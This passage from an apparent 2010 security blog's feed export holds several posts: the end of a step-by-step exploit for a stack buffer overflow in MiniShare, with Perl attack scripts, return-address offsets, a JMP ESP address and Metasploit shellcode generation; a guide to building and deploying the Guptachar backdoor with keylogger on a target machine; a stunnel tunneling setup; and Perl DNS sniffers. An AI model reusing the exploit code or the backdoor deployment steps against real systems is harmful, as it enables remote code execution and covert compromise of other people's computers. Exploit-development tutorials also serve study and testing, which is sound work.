IO::Socket::INET-&gt;(PeerPort=&gt; $port, $PeerAddr=&gt; $host, Proto=&gt; $proto) or die ("Connection issue");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff="GET ";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff .=("Aa0Aa1....&lt;br /&gt;6Ac7Ac......................&lt;br /&gt;f3Af4A.....");&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;$buff .=" HTTP/1.1\r\n\r\n";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;print $sock "$buff";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;close ($sock);&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Press ctrl and f2 to restart the execution of minishare from within Ollydbg. Run the new perl code now and note the value of EIP and the value of the location ESP points to. Now goback to our metasploit tools.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#./patter_offset 36684335&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;1787&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;//offset for EIP&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#./patter_offset 43376843&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;1791&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;//offset for ESP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The offset of EIP, we are going to put the location of a location in memory that points back to the stack, i.e, JMP ESP. We are going to search through the loaded application modules (Dlls) and search for any JMP ESP instruction. Note, we want to avoid any address that contains a zero byte \x00. This character is considered a string terminator in the C programming language, and usually has the effect of breaking an exploit when it is included within a buffer. For a similar reason, we also want to avoid the line feed and carriage return characters \x0a and \x0d.&lt;br /&gt;&lt;br /&gt;To search for JMP ESP, Withing Ollydbg, goto View -&gt; Loadable modules. I like to use system modules, such as user32.dll and shell32.dll. Right click shell32.dll for example and click on "view code in CPU". Right click in the code view and select search for, then goto command. Type "JMP ESP". When one is found write down that address (7C9D30F3). We are now goingto point to this address in our perl code and replace EIP with it since we know where to put it (remember the offset of EIP was 1787).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; color: rgb(255, 102, 102);"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;use IO::Socket;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;############&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$port="80";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$host="192.168.1.60";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$proto="tcp";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$sock = IO::Socket::INET-&gt;(PeerPort=&gt; $port, $PeerAddr=&gt; $host, Proto=&gt; $proto) or die ("Connection issue");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff="GET ";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff .="\x90" x 1787;&lt;br /&gt;$buff .= "\xF3\x30\x9D\x7C";&lt;br /&gt;$buff .= "\x90" x 16;&lt;br /&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;$buff .=" HTTP/1.1\r\n\r\n";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;print $sock "$buff";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;close ($sock);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Note that we wrote the memory address of 7C9D30F3 backwards, i.e , "\xF3\x30\x9D\x7C" as per x86 architechure.&lt;br /&gt;&lt;br /&gt;Restart minishare in Ollydbg, set a breakpoint at the memory location of the JMP ESP that we found and run. Exewcute the perl exploit. Notice that it has hit our break point? ALL thats left to do is to put our shellcode in. We turn to metasploit again for this&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#./msfpayload windows/exec CMD=calc.exe R | ./msfencode -a x86 -b '\x00\x0A\x0D' -t c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We had to pipe the output of the shellcode to msfencode so we can get rid of the pescky bytes '\x00\x0A\x0D'&lt;br /&gt;'-b' tells it to avoid this list of characters&lt;br /&gt;'-a x86' tells it the architechture to encode as&lt;br /&gt;'-t c' format to display is c code format&lt;br /&gt;&lt;br /&gt;Next we copy our shell code to our perl program.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(255, 102, 102);"&gt;#&lt;/span&gt;&lt;br /&gt;  &lt;span style="font-style: italic; color: rgb(255, 102, 102);"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;use IO::Socket;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;############&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$port="80";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$host="192.168.1.60";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$proto="tcp";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$sock = IO::Socket::INET-&gt;(PeerPort=&gt; $port, $PeerAddr=&gt; $host, Proto=&gt; $proto) or die ("Connection issue");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff="GET ";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;$buff .="\x90" x 1787;&lt;br /&gt;$buff .= "\xF3\x30\x9D\x7C";&lt;br /&gt;$buff .= "\x90" x 16;&lt;br /&gt;$buff .=&lt;br /&gt;"\xd5\xa0\x76.......".&lt;br /&gt;"\x32\x47\xe8.......".&lt;br /&gt;"\x12\x4f\xd9........".&lt;br /&gt;"\x3c\x76\x1A";&lt;br /&gt; &lt;/span&gt; &lt;span style="color: rgb(255, 102, 102);"&gt;$buff .=" HTTP/1.1\r\n\r\n";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;print $sock "$buff";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;close ($sock);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Restart in Ollydbg. Send the perl exploit and if all went well, calc.exe should be executed on that machine, i.e. You have just taken advantage of the remote code execution vulnerability.&lt;br /&gt;&lt;br /&gt;References/Good Reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;cite&gt;&lt;/cite&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-866724462507769047?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/866724462507769047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/developing-exploit-for-buffer.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/866724462507769047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/866724462507769047'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/developing-exploit-for-buffer.html' title='Developing an exploit for buffer overflows...The  Entire Life Cycle.'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1760413013543867099</id><published>2010-01-18T09:36:00.000-08:00</published><updated>2010-01-19T05:36:35.220-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RAT'/><category scheme='http://www.blogger.com/atom/ns#' term='Guptachar'/><title type='text'>Guptachar 2.0 (Remote Administration Tool)</title><content type='html'>A RAT or remote administration tool allows an admin to remotely administer a remote machine on the same IP network, including the internet. Other RAT tools include VNC viewer, Microsoft remote desktop, backorfice, Netbus etc. While all these tools are similar in many ways and some having more features than the other they all require their own client software to administer the remote machines. Guptachar doesn't. Well it does but you already have it installed on your machine without actually doing so. It uses any webrowser as its client software. You just point your browser to the IP/port combo of the remote machine and you're good to go. Also, Guptachar can only be installed a Windows machinel, however, you can still administer the windows machine with any linux web browser.&lt;br /&gt;&lt;br /&gt;Download: &lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http://packetstormsecurity.org/trojans/gupt2.zip&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Download and unzip the contents. Open up a command prompt window and run makeqinst.exe and answer the accompanying questions. The program makes a server excuteable that when run would install as a backdoor. It provides some basic authentication and the listening port is custamizable. The resulting executable would be copied to the target machine and then run.&lt;br /&gt;&lt;br /&gt;Effects:&lt;br /&gt;Opens up a port on the machine(confirm with a netstat -an).&lt;br /&gt;Name of executable in task manager is GPTCR2.exe.&lt;br /&gt;Creates the following files in C:\WINDOWS directory: GPTCRKL folder, GPTCR.nfo and GPTCR2.exe&lt;br /&gt;Creates a registry entry: HKCU/Sofware/Microsoft/Windows/CurrentVersion/Run/GPTCR2 &lt;span style="color: rgb(255, 102, 0);"&gt;//please note that the path created is broken and does not link directly to the executable. Im not sure why this was not fixed but the registry key becomes useless unless you manually channge it to the correct path of the GPTCR2.exe executable&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;. This makes the backdoor start up when the machine is rebooted.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;Update:&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;It turns out that in the c code, the author used a fixed length of the string path of 14, which results in "c:\windows\gpt". The fix would be to use a length of 21 of let the c code find the length of the path instead of using a fixed length&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;There maybe one or two other registry entries, just search for them using "GPTCR" as the search query.&lt;/span&gt;&lt;br /&gt;The keylogger log file is also created at  c:\WINDOWS\GPTCRKL\ directory called LOGFILE.key.&lt;br /&gt;&lt;br /&gt;That all the setup required. Now point your web browser to the ip/port combo of this machine and commence your admin duties.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://packetstormsecurity.org/trojans/gupt2.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.megasecurity.org/trojans/g/guptachar/Guptachar2.0.html&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1760413013543867099?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1760413013543867099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/guptachar-20-remote-administration-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1760413013543867099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1760413013543867099'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/guptachar-20-remote-administration-tool.html' title='Guptachar 2.0 (Remote Administration Tool)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4051862498659238519</id><published>2010-01-18T06:06:00.000-08:00</published><updated>2010-01-18T06:35:01.613-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='stunnel'/><title type='text'>More tunneling with SSL and stunnel</title><content type='html'>We've discussed tunneling in the past with regards to httptunnel and ptunnel. As effective as these methods are for bypassing firewall rules and other purposes, neither ptunnel or httptunnel provide any means of encryption (although shh tunneling does, something i've discussed in a previous post).&lt;br /&gt;Using programs like wiresark, you can easily see the payloads of the tunneled traffic. SSL tunnel provides similar tunneling funtionalities as the other tunneling programs but provides the much needed encryption to mitigate eaves droppers. I'll disscus all the needed steps to set-up a Windows client and a Linux Server.&lt;br /&gt;&lt;br /&gt;Server [linux] - 10.0.0.1&lt;br /&gt;Client [Windows XP] - 10.0.0.2&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SERVER Setup:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First thing you need to do is generate a x509 certificate file to be used for encrytion if one doesnt already exist [It should be loacated at /etc/stunnel/stunnel.pem]. I usally like to generate my own and customize the certificate with my name, email, location, etc.&lt;br /&gt;&lt;br /&gt;To generate an x509 cert, type:&lt;br /&gt;    &lt;span style="color: rgb(255, 0, 0);"&gt;openssl req -new -x509 -days 365 -nodes -out stunnel.pem -keyout stunnel.pem &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After the cert is generated the server can be set up using the following commands:&lt;br /&gt;   &lt;span style="color: rgb(255, 0, 0);"&gt; stunnel -d 2222 -r 127.0.0.1:80 -p /root/stunnel.pem&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The server would now be listening on port 2222 for incoming client traffic. Traffic connecting to the servers listening port would be forwarded to 127.0.0.1 at port 80.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CLIENT setup:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Download the Stunnel setup for windows and install. Heres a link to the latest compiled binaries:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;http://www.stunnel.org/download/stunnel/win32/stunnel-4.29-installer.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Rename the original stunnel.conf file to stunnel.conf.bak for backup purposes.&lt;br /&gt;&lt;br /&gt;Now make a file named stunnel.conf in that same directory. Input the following using notepad:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Client = yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[my_https]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;accept = 80&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;connect = 10.0.0.1:2222&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Save this file. Now run stunnel.exe (You can also run from the command line: &lt;span style="color: rgb(255, 0, 0);"&gt;c:\stunnel.exe stunnel.conf&lt;/span&gt;). Stunnel looks for stunnel.conf in the same directory by default. If you choose to use a config file with a different name, you would have to open up the command prompt and type as follows to run: &lt;span style="color: rgb(255, 0, 0);"&gt;c:\stunnel.exe myconfigfile.conf&lt;/span&gt;.Your client would now be listening on port 80. To use the tunnel, type in your browser, http://127.0.0.1:80. You should now see the webpage. This webpage was successfully transfered over your securely created ssl tunnel.&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;www.stunnel.org&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://freshmeat.net/articles/ssl-encrypting-syslog-with-stunnel&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://librenix.com/?inode=7126&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4051862498659238519?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4051862498659238519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/more-tunneling-with-ssl-and-stunnel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4051862498659238519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4051862498659238519'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/more-tunneling-with-ssl-and-stunnel.html' title='More tunneling with SSL and stunnel'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3639865114877993381</id><published>2010-01-12T05:54:00.000-08:00</published><updated>2010-01-12T06:31:05.232-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Parsing'/><title type='text'>Parsing tcp data without NetPacket::*</title><content type='html'>Just some code that i wrote that demonstrates how to extract the data contents of a packet without using the NetPackets::* suite of modules. Note that you would have to know the byte starting position(offset) of the data contents of the packet type in order to correctly extract what you will need. In this example, the offset that im using for DNS data is 55 (14 bytes for Ethernet, 20 for IP header, 8 for UDP header and 12 for some dns flags ). Therefore the DNS quesries start at the 55th byte in DNS query packets.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use strict;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use Net::Pcap;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;##################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $dev=$ARGV[0];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $filter = 'udp dst port 53';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $object;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $filter_t;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my ($net,$mask,$err,$object);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;##################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;unless (defined $dev){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print 'Interface not set or is incorrect';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;print "Sniffing on interface: $dev\n";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if (Net::Pcap::lookupnet($dev, \$net, \$mask, \$err) == -1){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   die "Net::Pcap::lookupnet failed - $err";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$object = Net::Pcap::open_live($dev, 1500, 0 , 0, \$err );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;unless (defined $object){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print 'Unable to create packet cxapture on device - ', $dev, ' - ', $err;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if (Net::Pcap::compile($object, \$filter_t, $filter, 1, $mask) == -1){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   die 'Unable to compile filter string - ', $filter;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::setfilter($object,$filter_t);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::loop($object, -1, \&amp;amp;process_packets, 0);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::close($object);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;##########################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;sub process_packets{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my($user_data, $hdr, $pkt) = @_;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   my $len = length($pkt);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   for (my $count = 55; $count &lt;= $len; $cout++){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      my ($data) = sprintf ("%s", chr(ord(substr($pkt,$count,1))));&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;      print "$data";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   print "\n";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3639865114877993381?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3639865114877993381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/01/parsing-tcp-data-without-netpacket.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3639865114877993381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3639865114877993381'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/01/parsing-tcp-data-without-netpacket.html' title='Parsing tcp data without NetPacket::*'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7056817814913220530</id><published>2010-01-07T15:57:00.001-08:00</published><updated>2010-01-08T10:20:36.784-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffer'/><title type='text'>Creating a sniffer using perl</title><content type='html'>&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;Below is simple program i wrote to sniff live DNS requests so a network admin can have an idea of the websites that a user is requesting in real time.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;#!/usr/local/bin/perl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use strict;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use Net::Pcap;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use NetPacket::Ethernet;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use NetPacket::IP;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;use NetPacket::TCP;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;##################################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;# Variable Declarations&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $filter_t;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my ($tcp,$ip,$ethernet);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my ($net,$mask,$err);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $dev = $ARGV[0]; &lt;span style="color: rgb(51, 255, 255);"&gt;//takes the network card interface as the first parameter&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $filter = "udp dst port 53";&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//this is the filter we are going to use, in tcpdump notaion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $optimize = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;############################################&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# Determine network number and mask for use later on when we're compiling our filter&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if (Net::Pcap::lookupnet($dev, \$net, \$mask, \$err) == -1){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   die 'Cannot determine network number and subnet mask - ' , $err;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;# create a live pcap capture object&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;my $pcap_object = Net::Pcap::open_live($dev, 1500, 0, 0, \$err);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;if (defined $err){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   die 'Failed to create live capture on - ' , $dev , ' - ', $err;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: rgb(255, 0, 0);"&gt;&lt;a name="Net::Pcap::compile($pcap_t,_\$filter_t,_$filter_str,_$optimize,_$netmask);"&gt;&lt;/a&gt;&lt;/b&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Net::Pcap::compile($pcap_object, \$filter_t, $filter, $optimize, $mask);&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//compile our filter ,$filter and return it in the $filter_t variable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 